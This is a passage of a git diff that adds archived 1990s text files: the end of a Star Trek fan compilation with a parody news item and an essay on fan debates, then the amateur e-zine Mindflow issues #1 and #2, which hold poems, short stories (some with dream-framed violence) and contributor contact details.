you, remember that not only doesn't the 90210 away team consist of +the captain, the first officer, chief science officer, chief engineer and +Ensign Redshirt, but they never leave the doctor in charge to fight the +Borg. + +--------------------------------------------------------------------------- +Reprint: "What's REALLY Happening with ST: Voyager! No, + Really!" +from an Internet posting by Keith Loh (loh@fraser.sfu.ca) + + The Toronto Globe and Mail entertainment section reported today +that the new Star Trek television series will have a distinctive Canadian +flavour when it debuts later this year on CBC. + Sources close to William Shatner have confirmed that the fourth +series set in the popular universe created by the late Gene Roddenberry has +already begun pre-production and a cast from the Canadian TV and film +industry has been chosen. + The new series, called Star Trek: Voyageur, will centre around a +small crew of traders exploring on the outer fringes of the galaxy, seeking +contact with cultures and establishing frontier routes in the Delta +quadrant. + Veteran Canadian actor Christopher Plummer, who has appeared as a +Klingon commander in the motion picture Star Trek: the Undiscovered +Country, will be captain of the "Hudson's Bay", and, unlike the captain of +the Enterprise, Jean Luc Picard [played by Patrick Stewart], will have a +true French accent. + Plummer told the Globe and Mail last week that he had prepared a +personal catch-phrase for his character, Captain MacDonald, along the lines +of Picard's "make it so". "I've always admired Patrick [Stewart]'s acting +style and especially the input he's had into his character's development," +said Plummer, "I'd like to say 'fuddle duddle' myself." + Backing Plummer up as his second in command will be Martin Short as +Pierre Lamarche, part of a vocal and embittered minority from Captain +MacDonald's home planet Fraxious. Two psychically linked twins both played +by Michael J. Fox (utilizing a patented special effects system from James +Cameron's "Lightstorm Entertainment" house) will take the helm while John +Candy will make special appearances as the ship's masseuse. + Fans in the Vancouver, British Columbia region reacted with joy to +the news of the series by not going to the local football game. "I've got +better things to do on a weekend, eh," said Michelle Braxton, a Trekker +since the announcement came this week. "And I'm pretty glad too that +William Shatner won't be on." + The unnamed sources from Paramount said that an all-Canadian +production and writing team would ensure that an 'eh' would be added onto +most dialogue while the directors will strictly enforce the Canadian +pronunciation of 'roof' (as in 'rufus' not as in 'rough'). + A motion picture version of the new series is already in the works, +though two competing scripts are currently being developed. One script, +tentatively titled Star Trek VIII: Election 93 is rumoured to centre around +a political crisis in the planet Ottawa. "The universal translator breaks +down, eh, and people can't speak to each other using the two official +languages," said one source over a Molson's Canadian beer. The other +script, which has the endorsement of the National Hockey League, will +feature a meeting between the ST:TOS crew and the new ST:V crew although +there is some question over how this might happen. "It's not a time travel +thing, eh, just we have to convince the old Canadians to leave Florida and +California for once," said the unnamed source, who was cloaked. + The Constitution class "Hudson's Bay" will be warming up its +engines this December on CBC and will appear in a slot after the popular +Hockey Night in Canada. + +--------------------------------------------------------------------------- +Reprint: "My Trek Is Better than Your Trek" +by Dayton Ward (aka NetRunr) +originally printed in America On-Line's "Dateline:Starfleet #39" +available on AOL, write Bill Mason at data1701d@aol.com for info. + + It is an issue that has been debated since my first day on AOL. It +has fanned flames, tested friendships, induced hysteria and generally +caused discontent among a vast populous of otherwise congenial people. + My Trek is Better than Your Trek. + What does this statement mean? For anyone who reads it or has said +it, the phrase has a multitude of possible explanations, many of which have +been expressed on the message boards, in the conference rooms, and even in +professional publications. (Remember the TV Guide Poll asking which +captain was better suited to defend the Earth?) Let's try to examine some +of the world-shattering debates used to defend either Trek: + ISSUE 1: My Trek is Better than Your Trek. + Response: No, MY Trek is Better than YOURS. No.... + This is where I confess that although I enjoy most of Trek's +various incarnations, the original is still my favorite. Not for one of +those ridiculous reasons like: "It was here first. Without it, there +wouldn't be anything else.", but because I grew up with it. It's all there +was when I was a kid. When the movies began showing up, I was ecstatic. +When TNG first started, I was skeptical, but soon discovered that it was +fun to watch in its own right. I was REALLY skeptical about DS9, but it's +starting to grow on me. The point: despite the differences in the shows, +there's something out there for everyone, regardless of your particular +taste. Enjoy what you will, and allow others to do the same. + ISSUE 2: Wesley is the most annoying character ever created for +Trek. + Response: I don't know...that one lady that kept yelling for +Spock's brain really got on MY nerves. Otherwise, I'll give ya' that +one.... + ISSUE 3: The special effects on TNG are far superior to those on +the original series. + Response: Well, duh. + This is not even a rational argument. OF COURSE they're superior. +No one in 1966 even had a dream about computerized digital effects or any +of the nifty high-tech gadgetry that either makes or breaks so much of +today's science fiction movies and TV. + I'm even willing to go so far as to say that some of Classic Trek's +effects are still better than some of the drivel Hollywood has fed us in +recent years, including recent Trek offerings (okay, the El Capitan falling +scene was believable after that sixth margarita). + ISSUE 4: Bashir must die. + Response: Okay. Who's gonna tell his mommy? + This one has raged across the AOL boards since the first episode of +DS9. I'm not as much taken with the thought itself as I am with the +multitude of methods that folks have devised to bring about the good +doctor's demise. I'll say this: there's no lack of imagination in this +department . . . ==8-D + ISSUE 5: The acting on TNG is superior to the original series. + Response: Both shows have their "moments." + One could recite countless examples of Shatner's scenery eating +("We've got to take that one in ten thousand chance!"), or Marina Sirtis' +mastery of the phrase, "He's hiding something." Comparing the original +Trek's acting to that of other shows that aired during those years, I have +come to the decidedly "Net-ian" conclusion that it was a requirement to +overact back then. Of course, there were those aspiring individuals who +tended to take it to an extreme on occasion.... + ISSUE 6: At least on TNG, the captain doesn't beam himself into +danger every week . . . + Response: No one on TNG beams anywhere ANY week. + Just kidding. It is agreed that the concept of ALL senior officers +beaming into the unknown week after week was ridiculous. In today's +military, that simply is not the case. TNG's approach is much more +plausible. The simple fact is that when the original show aired, the lead +character had to be in charge, and therefore had to confront the danger +himself (note the use of the word "himself," since the networks couldn't +even fathom a lady in a lead role back then). If the focus of the show had +been on a group aboard the ship that was assigned the planetary exploration +details, the "hero-in-trouble" plot device would have worked much better. +But we must remember that the show was played solely for entertainment back +then, without worrying about how legions of fans would react if a +character did something off the wall or out of synch. It points back to +the fact that the shows are entirely different, products of their times and +should not be compared. They each have merits and flaws. + ISSUE 7: Riker is fat. + Response: At least he shamelessly flaunts it. Shatner tried to +hide his with a girdle. There, enough on that one. + ISSUE 8: There's not enough action/war/death on TNG. + Response: Is it necessary? + To a point, yes. Trek was first and foremost an action/adventure +show. Gene may not have wanted it that way, but that's what he gave the +network. That's what kids saw in it until they were old enough to realize +all the many things that a Trek episode conveyed. Many of the original +episodes are layered in messages that served to open our eyes to +contemporary issues of the time (war, racism, etc etc). + Some of the messages that came across are as valid today as they +were then. The original series was an allegory of a violent, tumultuous +period in our history. TNG/DS9 attempts to show us a world that has taken +steps to grow up, as we move past the Cold War and into a new era of +relations. Issues such as drug abuse, racism (still? will we never +learn?), AIDS, gay rights and countless others are addressed in a manner +that is uniquely Trek. + There has been talk of wanting to see more war and death on Trek. +Even though I am as big a fan of action as the next guy, I don't need to +see bodies dismembered and flying about to know about death. That's not +Trek, not even in the "old days." However, +dealing with the effects of war, either as victims or as bystanders, would +be worth exploring. There must be many stories out there that could work +with these themes. + ISSUE 9: Picard is a wimp. Kirk would annihilate him. + Response: Hmmmmm.... + Taken at first glance, the statement is valid. If the Kirk of the +original series were pitted against Picard, I would have to place my money +on old Jimmie-boy. But, what else about the two characters can be +compared, if they should be compared at all? Kirk has been described in +the various mediums as a man of action, of impulse. He even stated it +himself that he had a tendency to "rush in where angels fear to tread." +Picard is more thoughtful, more restrained in his actions. This could be +the product of experience that the young Kirk of the original series did +not have. We have seen in TNG that in his youth, Picard learned "the hard +way" that being rash and impulsive is not always a good thing. This +accounts for changes in his character that we are now familiar with. The +Kirk of the movies has mellowed, become more seasoned. Again, it comes +down to the fact +that both characters are products of the times in which they were created. + But Kirk would still annihilate him.... ==8-D + ISSUE 10: Incredibly stupid dialogue. + Response: I could spend all day on this one. But here are a few +tidbits that spring to mind: + + From "Let That Be Your Last Battlefield": + Lokai (paraphrasing) - I come from a planet called Cheron. + Kirk (thinking hard) - That's in the southernmost part of the +galaxy. + + From "Shades of Gray": + Any non-flashback sequence. You could hit one with a dart while +blindfolded. + + If you've stayed along for this much, then you hopefully realize +that this was meant to entertain and hopefully provide some food for +thought. It was never conceived with the intention to fan flames on either +side of this Trek fence. The discussions and comparisons will continue for +as long as there are different facets of Trek. + Here's to spirited debate. +------------------------------------------------------------------------- + + + +

+ + + diff --git a/textfiles.com/magazines/MINDFLOW/mf001.txt b/textfiles.com/magazines/MINDFLOW/mf001.txt new file mode 100644 index 00000000..3c8a9964 --- /dev/null +++ b/textfiles.com/magazines/MINDFLOW/mf001.txt @@ -0,0 +1,610 @@ +mindflow #1 ascii version +05.25.94 +edited and programmed by josh ruihley +mindflow #1 is the first attempt at getting different thoughts from people +acrossed the country and putting them together in a nice little +file. these thoughts can be in the form of a poem, short story, brainstorm +or any other kind of self expression that can be put on a computer. +the purpose is to create a nice little mind trip that people can take once +a month. it features different views from different people on different +subjects. all that is needed to take these trips is an open mind, so open up +your mind, and enjoy. if you would like to submit something to be printed in +future versions of mindflow, please either mail or email me. mindflow will +not work if it isn't for 'thought donations', so if you have something that +you would like to be put in here, please, donate your thoughts and make +mindflow a trip worth taking. + +all versions of mindflow can be downloaded for free from: +rip curl bbs (versailles, ky) : 1.606.873.6637 + + + + +too basic by paul kell------------------------------------------------------ + +two basic emotions +two basic fears +two basic eyes +shedding two basic tears +two basic hearts +two basic souls +a story of love +as our story unfolds + +they were two basic friends +with two basic minds +their friendship was one +too basic to find +too lost in emotions +too lost in their fears +too lost in their eyes +and too lost in their tears + +one basic body +one basic mind +set apart from the world +unfeeling, unkind +not feeling the love +only feeling the fear +persecuted by many +persecuted by peers + +from two basic persons +united as one +separated forever +they both have no one + + + + +Fish by Joel Wheeler--------------------------------------------------- + +Fish. +Fish on a plate. +It is a work of Art. + +Art who? + + + + +wish by josh ruihley--------------------------------------------------- + +i threw the penny in the wishing well +my hopes and dreams needed still to come true +the penny fell and the water splashed +the well one cent closer to purchasing heaven +and me one cent closer to foreclosing on hell +but the birds dont bother me one bit +the grass is still green and the sky is still blue +and i am still nothing cause im without you + + + + +Untitled by Matt Williamson------------------------------------------------ + +The overwhelming dark flood + of + smoke caught us + off + Guard. + + Help! someone screamed + as + I hovered over + the + Fire. + +The toxic fumes were + pleasant + To my primitive + senses. + +My time was up - + Destruction done + Time to leave + Manifest. + My essence in the Floating + ash. + +To be scattered across + the land + of human fraility + + + + +The Girl Who Lived Here Before by Melissa Pike------------------------------- + +The horses keep falling; +I guess she likes the dolls better, +because she never bothered them. +It must be a little girl +Who hated living on this farm. +My sister is afraid for her horses; +Their plastic legs don't hold up well +to falling six feet +The floor's not very soft. +Maybe we should put something there +for them-- some pillows or something. +I think the girl will get uses to the horses; +she must learn that things change. +She must have been spoiled +and rich from the looks of this house. +I wonder what her name is and +what happened to her. +Maybe it had something to do with +horses. +And why is she still here? +She must be lonely. +Sometimes I hear her crying in the night. +I would be her friend +if only I could find her. +I must look in the yard. +The stones will reveal her to me. + + + + +Inside by Andy Malloy---------------------------------------------------- + +looking inside +i see the blackness +a Void +i can remember, +there was a heart there... +once... +long ago... +it was stolen +and never replaced... + + + + +Untitled by Betsy Hughes--------------------------------------------------- + +i look about me +and everywhere i see +what i could have been +misconceptions linger on the ground +where i have dropped them + +the visions of my dream of success +float quietly across the walls +out of my reach +or just too quick for me to catch +i grasp one suddenly, hold on, then let go. + + + + +Psycho Disco Ninjo by Brad Wright---------------------------------------- + + Bzzzzzt. + Bzzzzzt. + Bzzz -- SMASH! + Billy managed a moan of contempt for the alarm clock as another Monday +started. + "Boy, I hate Mondays." + Billy rose from his bed, if a mass of covers and blankets on a couple +pieces of wood is a bed. In his early morning stupor, even the mild-mannered +wallpaper seemed to scream at him. + "Billy! Get your scrawny butt in the shower!" + Billy blinked several times before he realized the wallpaper was, in fact, +not talking. It was only his slightly demented and completely crazy and evil +step-mother. + "Whatever, Sherona!" Billy sighed, as he lumbered towards the bathroom. +The hallway was full of little dolls and little cars and dog poop. + "ARGH! When is anyone besides me going to clean up for this filthy +animal?!?" Billy screamed, getting no reply. But today was going to be +different, he decided. No more letting people walk all over him. No more +taking flak from schoolmates. No more -- SPLAT. + "I just stepped in a DOG TURD!!!" + "Well pick it up, duh, stoooopid," came the low reply from around the +corner. + Billy rounded the corner to see his little sister, Cindy. Cindy was +wearing her My Little Pony pajamas and waggling her tongue at him. + "Santa Claus isn't real, ya know," Billy muttered, just loud enough to be +sure the rugrat heard him. Tears filled Cindy's eyes, and a low moan started +to eminate from her. + "MMMMMMMMMMMMMMMMMMMOM!!!" Cindy shrieked. "BILLY SAID --" + Billy slammed a fist into Cindy's midsection, ending her yelp in mid- +breath. Cindy looked up, startled. + "B-b-billy..." she whispered. "W-w-w-why-dj-ja d-d-do th-that f-for?" + Billy stared down at her with molten eyes. "Listen, munchkin. Dad and +Scum-ona have been giving me crap since I kicked the dog down the stairs +after it bit my knee. Now, we aren't going to say a word to Dad and --" + "BIIIIIILLY!!! ARE YOU READY FOR SCHOOL YEEEET?!?" + "SHUT UP, SCUM-ONA!!!" Billy yelled down the stairs. + "WHAT?!?" + "I SAID, NOT YET, SHERONA, PRINCESS!" + "BULLCRAP! GET IN THE SHOWER, OR I'LL BEAT YOU SILLY!" + Billy sighed, and went into the bathroom, which, by some grace of God, was +actually empty. Billy stumbled in, and looked at his dejected form in the +mirror. + Billy was always a small boy, until eighth grade, when he grew ten inches +over three months. Still, he was slight at 5'11", 140 pounds. With brown +hair and green eyes, he was an almost mirror image of his father. From the +day he was the born (not the night, but the day, mind you), we knew he was +trouble (not monopoly, but trouble). Billy jumped in the shower, and bathed +quickly, knowing if he took too long, he would have to deal with She-Man +Sherona. + After putting on a t-shirt and pair of blue jeans, Billy weaved his way in +and out of toys and other miscellaneous mishaps waiting to happen on the +'Stairs of Doom', and grabbed his bookbag and a Pop-Tart on his way out the +door. + "BILLY! GET BACK IN HERE AND --" started Sherona, whining/screaming as +usual. + "Cram it, freak!" he yelled back, and started off to school. + + + Bzzzzzt. + Bzzzzzt. + Bzzzzzt. + Billy lifted his head and wondered how it could be Tuesday already. He +got out of bed, and that was when he saw Kathy Ireland battling a pitch-black +demon. + "Well, there's something you don't see every day," Billy mused. + Kathy turned her head. "Mind giving me a hand, cutie?" + Billy stared for several seconds, and jumped off the bed, landing a vicious +side kick to the face of the demon. The demon howled in anger/fury/pain, and +promptly turned into a wisp of smoke. + Kathy turned around, and smiled at Billy. "Thanks. He was a handful, let +me tell you. Now, let me show you my gratitude." + Kathy moved towards Billy, parting her thick, moist lips... + "BILLY! Are you going to stay in here for fifth hour, too?" + Billy's dream faded almost as quickly as the demon had. He shook his head +to clear the cobwebs, and realized the bell had rung, and he was still in his +fourth hour class when it was fifth hour. + Billy managed a squeak of bewilderment, gathered his things, and headed to +fifth hour class. He was relieved when he got there. His mind was totally +blown, and he couldn't think straight. Thank goodness he had a free period +to... + "Okay, class. Get out fourty sheets of paper and write a novella. You +have fifty minutes. Begin." + Billy stared numbly at his Advanced English teacher, Mrs. Learse. She was +staring out the window at her nice shiny red car, a Ninjata or something. +Billy screamed, once, and pulled out his paper and began. + Forty eight minutes later, he was done. His hands were bleeding, and his +eyes swam in and out of focus, but he was done. "Mrs. Learse?" Billy asked. +"What should we do with our --" + Mrs. Learse leaped from her perch, and with the deftness of a jungle beast +(which, Billy assumed she was related to one anyway), snatched the papers from +Billy's hands. + Her face was expressionless as she snapped, "No talking during writing. +Automatic zero." + Billy suddenly realized how people can commit murder. He jumped up, ran to +Mrs. Learse, and started yelling in her face. + "You stupid freak! You Hooked-On-Phonics dropout! You wouldn't know a good +essay if it jumped up and bit you on your ass! You --" + Mrs. Learse slapped Billy full in the mouth. Billy started to bleed, and +gaped at her. + "No one, I repeat, no one, EVER talks to me like that." + Billy considered his options briefly. He could... + + 1 - Let it slide. Billy wasn't a violent type, so, being slapped in the + face by a woman in front of 25 classmates shouldn't have bothered him. + 2 - Complain to the principal. This was the best thing to do, as it was + democratic and would be a peaceful solution. + 3 - Beat the living snot out of her. + + Billy headed for his desk, pivoted on his left foot, and shot his right +foot into the front of her knee. Mrs. Learse shrieked, and toppled over +backwards, grabbing a letter opener from her desk. She lunged at him on her +unbroken knee, but he moved out of the way, bringing his knee up into her fist, +jamming the letter opener into her throat. + Werdna Yollom stood up. "Wow, Bill. That was actually pretty cool." + Bill grabbed the letter opener from Mrs. Learse's throat, and flung it at +him. It lodged in Werdna's thigh, and he shrieked like a woman. + "Shaddup," Bill muttered, and went into the hallway. + Bill headed for the parking lot when Mr. Bigguy, the prinicpal, put his +hand on Bill's chest. + "Thinking of skipping out, are we?" he smirked. + "Um. Get off me, or I'll rip out your liver and stick it in your ear." + "Don't take that tone of voice with me, young --" + Bill jabbed him in the belly, and threw him into a vat of Dunbar Funk. + "Ow," Mr. Bigguy said/died. + Bill laughed jovily, and continued towards the parking lot. Carla Barch +waltzed by. + "Hey," Bill said. "Cool waltz." + "Thanks," Carla replied, and waltzed away. + Bill smiled, changed directions, and headed towards the newly completed +Ammo Annex section of Dunbar. + "Boy, that Ammo Annex sure was a swell addition." Cheesy grin. + Bill stopped, and pondered why he had taken this choice in life. Could it +be because his parents divorced at the age of ten, after his dad discovered +Bill's mother was actually a man? Could it have been that nasty Cheez-Whiz +incident with the police? Could it have been... + "Could it have been those burritos I had for lunch?" Bill wondered. + Bill continued wondering and walking until Chris Lyman flew by on an acorn +tree. + "Squirrels," Chris said. + "Booha," Bill replied. + Chris nodded, and flew away. + Bill waved goodbye, and noticed the floor had turned into Jello. + "Darn," Bill darned. "Lemon. I *HATE* lemon Jello." + Bill wobbled his way to the door of the new annex, when the door opened and +Kathy Ireland answered. + "Hi," Kathy purred. + Bill laughed. "Say, weren't you in a dream I had a while ago?" + "No, but I was," replied a second Kathy, emerging from the shadows. + "Wow, Beavis. This is pretty cool," Bill said to no one in particular. + "I wasn't either," chorused twenty more Kathys. + "Uhhhh... wow. Neato. Spiffy. Et cetera," Bill sighed. + A large red dog appeared next to Bill. + "Like, bark. Bark, or something," Clifford barked. + "Hey. I know you," Bill replied. + "Not anymore..." Clifford said, halfway through the metamorphesis he was +undergoing. In fifteen seconds, he was a squirrel. + The squirrel nodded at the Kathys, and looked at Bill. + "The time is short. We must save the world!!!" the squirrel chriped. + "Too wierd," Bill gasped. + Suddenely, and without warning, and redundantly, a huge alarm sounded. + BUZZT! BUZZT! BUZZT! + "Wow," Bill moaned, suddenly getting very sleepy + (awake) + BUZZT! + Buzzt! + Bzz + + + zt! + Bzzzt! + Bill sat bolt upright in his bed, sweat pouring off him in pails. + "Bill!" a voice yelled. "Come downstairs!" + "That was some strange dream..." Bill said, starting downstairs. + His step-mom was behind a newspaper when he sat down for breakfast. + "Sherona," Bill began. "You won't believe the dream I had..." + "Oh no?" the woman replied, and laid the paper down. + "Kathy???" + + Bzzzt! + + + + +Memory by Jennifer Hacker----------------------------------------- + +I see your face a thousand times before I enter the realm of sleep. +I see the smile you gave only to me, the little sister who loved you. +I reach out to take your hand, to tell you I love you. +Then I remember you're gone, and the image shatters. + +I see myself, nine years old, not able to understand. +I watch as you cry when you thought no one could see. +I wanted to help you, and gave part of myself to save your life. +But still I watched you weaken, still I watched you die. + +I see myself at the funeral, full of rage. +I see myself curse the God that would take a 17 year old girl away. +I see myself, now, the same age as you were. +I see myself, I see you, and I see the connection. + + + + +The Victory by John Geurkink------------------------------------------- + +Lord on the football field of life +where I will suffer pain and strife +Help me to achieve the goal +which is salvation for my soul + +Keep me running straight and true +ever closer Lord to you +round the left or round the right +running hard toward the light + +When sinful foes around me near +help me pass into the clean +but when I'm blitzed and taken down +let my foes ne'r see me frown + +But help me stand and run again +up the middles, or round the end +To break through so all may see +How great Thy faithfulness to me + +But if I boastful pride portray +thinking that these yards I've made +Stop me Lord and make me humble +make me fall or make me stumble + +If in the huddle, you call the plays +there'll be no fouls, no delays +But when I plan my own attack +without fail, Oh Lord, I'm sacked + +Now that the final goals in sight +and my days give way to night +I know the game has only been won +by the blood of Gods dear Son + +When my flesh couldn't carry me through +and my spirit was black and blue +Jesus lifter me up and carried me +over the line to victory. + + + + +Simple by Cislyn Hunt--------------------------------------------- + +Sitting Indian style on a scratchy rug +Scooping handfuls of cocoa puffs +And flashing those dimples +As you watch Scoooby Doo +You make life seem so simple +There are tire marks on your front lawn +It's easy to see; the weeds are pressed down +I ask you where they came from +"Who knows? Who cares? Not me!" +What a philosopher thou art +I swear I heard a gunshot last night +But you laugh and say that it was +Only a bad muffler on one of the cars +That incessantly turn left at the light +You call me "obsessive" +Mostly about the little things +And tell me to relax and +Live a little +But I would rather live a lot +Because I don't think life is complicated +I know it is. + + + + +Mind Wind by Chris Lyman--------------------------------------------- + +Thoughts converge + and I emerge + From the deep black tide + Omnipotent in the power surge + + All I see + is me + Existing as all + Imagining things that will always be + + Nothing is heard + like a dirty word + Silence is deafening + Distinction is vague and blurred + + Gray son + realizing I am one + Destination fulfilled + The battle is won + + Laying to rest + the visions jest + Seeking all but sleep + The mind wind blows west + + All that I fear + within a tear + Burning into the sky + Not far, not near + + Fall with haste + to a breathing place + Mount the omniscient steed +And vanish into space + + + + +Rebirth copyright 1994 by Aaron Ramey---------------------------------- + +He had been there +all the while, +And yet + was invisible - + +alone marble inaseaofbrokenglass. + +Suffering a non- +existent existence, +Until now. + +Surfaces begin to +take shape, +A life emerges beyond +tangible bleakness - + +the desert fern against + immeasurable odds. + +He begins anew. +a new path - +A new opportunity + not to be forsaken. + +Murky skies finally crack - +allowing the mind +To bathe the fruits +of his intellectual labors + in newfound promise. + +Never again would he +allow his life to + slip + away + from him. + +After all, it isn't +every day that the lost +are born + again. + + + + +------------------------------------------------------------------------------ +Reaching the Authors +------------------------------------------------------------------------------ + +Paul Kell can be reached at: +223 East Eagle +Versailles, Ky 40383 +Internet: wbsj47b@prodigy.com + +josh ruihley can be reached at: +418 wells lane +versailles, ky 40383 +internet: ebbheadky@aol.com + +Melissa Pike can be reached at: +755 Delaney's Ferry +Versailles, Ky 40383 + +Andy Malloy can be reached at: +4161 Palmetto Drive +Lexington, Ky 40513 + +Betsy Hughes can be reached at: +Internet: blaine666@aol.com + +Jennifer Hacker can be reached at: +687 Finnel Rd +Georgetown, Ky 40324 +or +Devil's Dominion BBS (lexington, ky) : 1.606.272.5696 +Handle : Kiriseth + +Brad Wright can be reached at: +4300 Stoneyhurst Place +Lexington, Ky 40514-1830 + +Cislyn Hunt can be reached at: +Internet: pandora149@aol.com + +Aaron Ramey can be reached at: +Internet: hydroguy@aol.com + +Chris Lyman can be reached at: +The Zone BBS (lexington, ky) : 1.606.271.8352 +Handle: Shadox + + +------------------------------------------------------------------------------ +thank you for your time +------------------------------------------------------------------------------ + +if you would like to submit a poem, short story, brainstorm, or anything else +that you think belongs in mindflow, please mail me at my home or email me +through the internet or on the ripcurl bbs. this is the official home of +mindflow. all versions of mindflow will be here and available to download +for free. + +josh ruihley +418 wells lane +versailles, ky 40383 +internet : ebbheadky@aol.com + +all versions of mindflow can be downloaded for free from: +rip curl bbs (versailles, ky) : 1.606.873.6637 + +. diff --git a/textfiles.com/magazines/MINDFLOW/mf002.txt b/textfiles.com/magazines/MINDFLOW/mf002.txt new file mode 100644 index 00000000..3c678d6f --- /dev/null +++ b/textfiles.com/magazines/MINDFLOW/mf002.txt @@ -0,0 +1,553 @@ +mindflow #2 ascii version +06.20.94 +concept/editor: joshua ruihley + programmer: keith shapiro + +mindflow is the an attempt at getting different thoughts from people acrossed +the country and putting them together in a nice little file. these thoughts +can be in the form of a poem, short story, brainstorm or any other kind of +self expression that can be put on a computer. the purpose is to create a +nice mind trip that people can take once a month. it features different views +from different people on different subjects. all that is needed to take these +trips is an open mind, so open up your mind, and enjoy. if you would like to +submit something to be printed in future versions of mindflow, please either +mail or email us. mindflow will not work if it isn't for 'thought donations', +so if you have something that you would like to be put in here, please, +donate your thoughts and make mindflow a trip worth taking. + +all versions of mindflow can be downloaded for free from: +rip curl bbs (versailles, ky) : 1.606.873.6637 + + +Untitled Sarah Lynn Collins----------------------------------------- + + It happened again; she had left the cap off the toothpaste. This +relationship had to end. Her life, too. Bob had planned this moment over and +over for the past three years, but it had always been a fantasy. He had +always wanted to put a bullet through Annie's precious little head. Then, as +always, he would come back to the real world and he would love her just as +much. Or so Annie thought. Deep down inside, he was jealous of the clothes +that she wore and the friends that she had. On occasion, Annie would come +home and find Bob wearing her clothes in an imitations of her and playing tea +with his imaginary friends. She was worried, but she got over it with time. +She thought she was in love. She was in Hell. + Tonight when Annie came home from her job at the library, Bob was in the +midst of another murder plan. He'd do it tonight. It had to be tonight. +Tonight. He had the table set as always and dinner in the oven. She went to +shower and Bob slipped back into his morbid dream. She'd come out of the +shower, he thought, and he hug her as always, then he'd stab her in the back +with the butcher knife. Yeah, that's what he would do. He sneered and went +to find his weapon. With slow, ponderous steps, he walked to the bathroom +door. He'd do it tonight. It had to be tonight. Tonight. Annie walked out +of the bathroom to see Bob holding a carrot. "You know, I think I'd like +carrots for dinner, too, Darling." Annie said before she slipped into the +bedroom. + She made Bob sick sometimes. She could look at him so innocently, but he +knew about her. Her knew of her sins. The toothpaste would be the end of +her. He plotted other ways while she dressed. He checked all the equipment +that he would use. He had to do it tonight. "Honey, would you open a bottle +of wine tonight. I feel a little like relaxing tonight," Annie's voice +grated through the apartment. He got a bottle of Burgundy and the cork-screw. +He could imagine the tip penetrating her head and hearing her screams. He +grinned; he night was looking up again. He waited and concocted his next +plan. He glanced around the kitchen. The blender. He'd hit her over the +head with the blender. No, he'd torture her first. Her fingers and then her +hands would be removed with the blender.--He grabbed her hand and cut off her +fingers. She screamed. The blood splattered on his face. He'd do it +tonight. It had to be tonight. Tonight. He turned on the blender and her +screams mingled with the machine's. He put her fingers in and watched them... + "Bob?" He shuddered from his dream and looked up. There was Annie and + her fingers still intact. + "Bob, why did you puree the bread sticks?" she asked staring at the +blender. + "What?!" He snapped at her. It was just another miserable dream, he +thought. + "The bread sticks?" + "Oh, that. It's a new recipe for tomorrow's dinner." He grumbled. + "How lovely, Darling." she said giving him a peck on the cheek. + They sat down to dinner and she babbled continually about the library and +the people. Bob dreamed: + It was tragic. The fire swept through the apartment and swallowed +everything in it's path. Annie was in it's path. She screamed his name but +he just laughed. He wouldn't help her; this is what he wanted. The fire was +all around her. He heard the beams fall... + "Bob," Annie's voice grated again, "Have you been listening to a word +I've said? You've just been staring at the candles. Is something wrong?" + "No dammit!" He pushed away from the table and slammed into the bedroom. He'd sleep. He'd do it tonight. +It had to be tonight, dammit. Tonight. + Some time later, he awoke. She was beside him on her side of the bed. +The pillow: He'd smother her with the pillow and that would be the end of +her. No screams. He grabbed his pillow and jumped on her. He pressed the +pillow over her head. No struggling. No sound. He pulled the pillow away +and it was just her pillow. She wasn't there. + He woke up in a cold sweat. She was gone. The light in the room proved +it to be morning. He got up and made his way to the bathroom. He splashed +his face with cold water. She was at the library by now, he thought. He +glanced over at the toothpaste. It happened again. + + +Untitled David Asher Brown------------------------------------------ + +"Rain keeps falling, rain keeps falling, down down down..." +Words +Can not describe what is... +A hand reaches out to take you, +And around the sun the world spins +Around the the emptiness the universe spins... +A hand reached out and stayed, extended there; + +Touches fell down +An imprint was left by the hand... +And the seas parted +The flock took to flight.. +Still I stood there, +Watching vacantly... +Two people rose from the ground +And up to the clouds, the sky, the sea... +I watch...I watch, but I don't wait... + +People are missing +Love, beauty, all gone, never here... + +Beauty, how is it you were never here? +You left behind that piece of feeling, + +"Look my way" + +Now I feel the loneliness... + +"Don't ever love me..." + +A hand began to reach farther and farther out +I look at the hand and felt inside:do not wait, only be... +The hand flies past and grasps the person next to me... +I never understood, why the hand is most beautiful... +I could never percieve inside me why the palm, the finger tip +Helped someone to feel... +Then I looked at the soft skin... + +I held a stren face, and shed not a tear +Yet still I felt empty, not within myself +But in my world... +Emptiness is a terriable metaphor... + +"The suspense is terriable, I hope it will never end." + +So I lay in the corner of my room +Where my bed sits next to the window +And all around me is silence +And all inside me is that fear +Of becoming a human... +I want my mind back, you bastards... + +I will never have that which I seek... +I won't have my beauty... +I only have my love, yet it is not wrapped in someone else's... + +So I sing... +"`Don't you...forget about me...'" + + +So It Is Justin Cutway---------------------------------------------- + + when as so often + the slighted eye is + deceived THERE + is ( ) + + now stop to look + the line is + as is the BREATH + + when all IS ( ) + earn it and it + will ( ) + + +Untitled Jennifer Ray----------------------------------------------- + +Sweat drenched dreams etched in the human memory + taunting the human face. + Horror stricken screams ricochet + from every shadowed room. + Shimmering tears spill form the + shallow wells of society's eyes. + Hearts are open and bloody in this + the moment of human need. + +Orbittin in the blackness of space + is a swirling mass of predator and prey. + Slowly eaten by the expanding rift, + swelling beneath our meticulously clean + toes, that must never touch bottom. + It seperates mother and daughter, + and brothers and sisters. + Hate is its weapon and its victory. + +Just past midnight, we are vulnerable to + this crack. The quell of demons buried deep + beneath a wall of earthen fragments. + Inch by inch broken earth seemingly + heals itself. Souls of the poet labour ardously + spinning their yarns and telling + their tales for the fate of their home, + and saving our lives. + + +The Attic (c) 1994 James Kight--------------------------------------- + +This lonely room in which I sit, keeps reality at bay +Silent years have come and gone and this existence bears no gold +Yet my despair has found no home much like a dog without his day +And empty hatred bears no grudge but keeps this soul from growing cold. + +The ray of sun that visits as I ponder makes my skin so pale +But I am grateful for the light that drapes me with its dusty trail. + +A frame that shows us life stagnates is nailed upon the facing wall. +Decomposition sets in slow and drives the strength from deep within. +If loving helps the lonely sinner, lifting up the heavy shawl, +Pity burns the open wound and makes of it a mortal sin. + +The birds of spring have come again, and sorrow follows close behind. +Sing to me your song of life that drifts its way towards its kind. + +Bittersweet the strong desire that blows away like shifting sand +And leaves the weary coarse and dreary, grasping for the empty air. +The tears come softly uninvited, resting on my withered hand +That moves no further than its home upon the metal, cold and bare. + +When will life give up on me like warmth beneath the falling snow... +Who will say they knew the man that they abandoned long ago... + + +Education Apryl Schilling-------------------------------------------- + +Angry young man +battling emotions untried +uselessly fighting chao's reign +stubbornly standing against the mass +euphoricaly dead now. +Frightened souls dance from +right to left +outwardly calm, inwardly shivering +mind reeling in shock. +Convulsing nerves twine around the +hate, an all consuming urges +fated, 